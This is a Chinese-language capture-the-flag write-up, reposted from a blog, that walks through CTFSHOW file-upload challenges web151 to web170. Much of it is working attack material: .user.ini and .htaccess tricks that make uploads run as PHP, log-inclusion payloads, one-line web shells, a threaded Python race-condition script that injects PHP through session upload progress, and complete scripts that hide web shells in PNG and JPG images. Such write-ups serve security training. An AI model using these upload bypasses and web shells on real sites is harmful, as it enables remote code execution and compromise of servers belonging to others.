0


【Web】CTFSHOW 文件上传刷题记录(全)

期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava!

web151

如果直接上传php文件就会弹窗

直接禁js按钮就不能上传文件了

一种方法是改js代码(png=>php)

然后直接上传即可

另一种方法可以不改js,直接抓包,然后改数据包信息,png=>php即可成功上传

连蚁剑,下略

web152

抓包,改content-type就行

下略

web153

"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 实际上是 Unicode 编码下的中文字符串,对应的中文是 "文件类型不合规" 。"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 中的每个 "\u" 表示紧跟着的四位十六进制数表示一个字符的码点。例如,"\u6587" 表示中文字符 "文" 的码点 U+6587,"\u4ef6" 表示中文字符 "件" 的码点 U+4EF6,以此类推。

嫌查表麻烦可以直接在浏览器的console运行一下嘛

经过尝试发现是对文件后缀有过滤,用phtml就可绕过

但好家伙配置文件不把phtml当php解析是吧

润了,只能上传.user.ini

相当于给/upload这个目录下所有文件都包含一个指定文件

包含一个藏马的文件(包括图片文件)就相当于在页面里写了个马

连蚁剑,下略

web154-155

正常上传.user.ini后再上传图片文件时会如上报错,说明有文件内容检测了,bp抓包简单二分法测一下就好。

发现过滤了php,直接短标签即可

成功连蚁剑,下略

web156-159

二分法测出来过滤了'[',我测,这还咋写马(其实可以用{}来代替[])

但如果想不到的话也倒不必强求,直接配置文件配合日志包含就行

GIF89a
auto_prepend_file=/var/log/nginx/access.log

这种姿势我挺喜欢的,可以积累一下捏。

web160

终于ban了,二分法测一下发现是log被禁了。

问题不大,可以尝试字符串拼接试试

会发现并不支持这样的写法,那我们还是回头对包含图片马做文章吧。

继续二分法测发现过滤了'[','{','()','`'和空格,这其实敏感的师傅很快就懂了,include嘛。

继续日志包含,php代码肯定支持拼接的,log拼接一下就可绕过过滤

<?=include"/var/lo"."g/nginx/access.l"."og"?>

然后UA命令执行就行

web161

多一个文件头过滤罢了,加个GIF89a

下略

web162-163

先包含一个sess文件

GIF89a
auto_prepend_file=/tmp/sess_Z3r4y

session.upload_progress.enabled = On
 
session.upload_progress.prefix = "upload_progress_"
 
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
 
session.use_strict_mode = Off 
 
session.save_path = /tmp

session.upload_progress.cleanup = On

在相关选项开启的情况下, 我们如果在上传文件的过程中 POST 一个变量

PHP_SESSION_UPLOAD_PROGRESS

, PHP 就会创建一个对应的 session 文件, 文件内包含

PHP_SESSION_UPLOAD_PROGRESS

的值

如果

session.use_strict_mode = Off

时, 我们可以通过在 Cookie 中设置

PHPSESSID=123

(默认 prefix 为 PHPSESSID) 来指定 session 文件名为

sess_123

(否则就是

sess_[32位随机字符串]

)

session.upload_progress.cleanup = On

时就需要条件竞争。

import requests
import threading
url = 'http://f36bdfea-6976-4d23-922a-734073d4665b.challenge.ctf.show/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        files = {'file': ('1.png', b'GIF89a', 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'Z3r4y'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload/')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

这题本质其实就是文件上传的利用了

可以看文件包含刷题记录的web82

web164

.user.ini不让用了

随便上传一个png看一下,发现页面从回显文件路径变成查看图片了,点击看一下发现存在一个文件包含点。

可以尝试用png二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>

生成图片,再提交,点击查看图片,传参rce

(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)

web165

这次是只让上传jpg文件了

可以用jpg二次渲染绕过

<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>
用法:php jpg二渲.php a.jpg

这个得看命,只能说找不到合适的图片

web166

这题只能上传zip文件

问题不大,上传一个zip文件,在文件内容末尾插入一段php代码

然后点击下载文件抓包rce即可

web167

题目提示httpd懂的都懂,apache呗

然后这次是只能上传jpg文件

先写payload.txt内容,再把属性改为.jpg

直接上传payload.jpg

点击下载文件拿到文件路径

然后上传配置文件,因为是apachehttpd,所以要上传.htaccess

在此之前我们要先改一下前端代码

.htaccess内容(别问为什么有多余的那串,懂的都懂)

#define width 1;
#define height 1;
SetHandler application/x-httpd-php

bp抓包改一下content-type发包

访问图片路径(现在已经被当作php文件解析)

payload:

1=system('tac ../f*');

web168

基础免杀还行

这次只让上传png文件

正常上传一个图片马会回显一个null

下面这样可以过免杀

<?=`tac ../flagaa.php`;?>

访问/upload/yjh3.php拿到flag

web169-170

能有多高级?

还是走回老路子,直接配置文件配合日志包含(改前端,改content-type不解释)

但正常访问/upload/会报403,所以我们要自己再上传一个php文件

上传文件如下,高级免杀也拦不住(

顺带UA写个马

直接访问/upload/suibian.php

标签: ctfshow web ctf

本文转载自: https://blog.csdn.net/uuzeray/article/details/135630424
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】CTFSHOW 文件上传刷题记录(全)”的评论:

还没有评论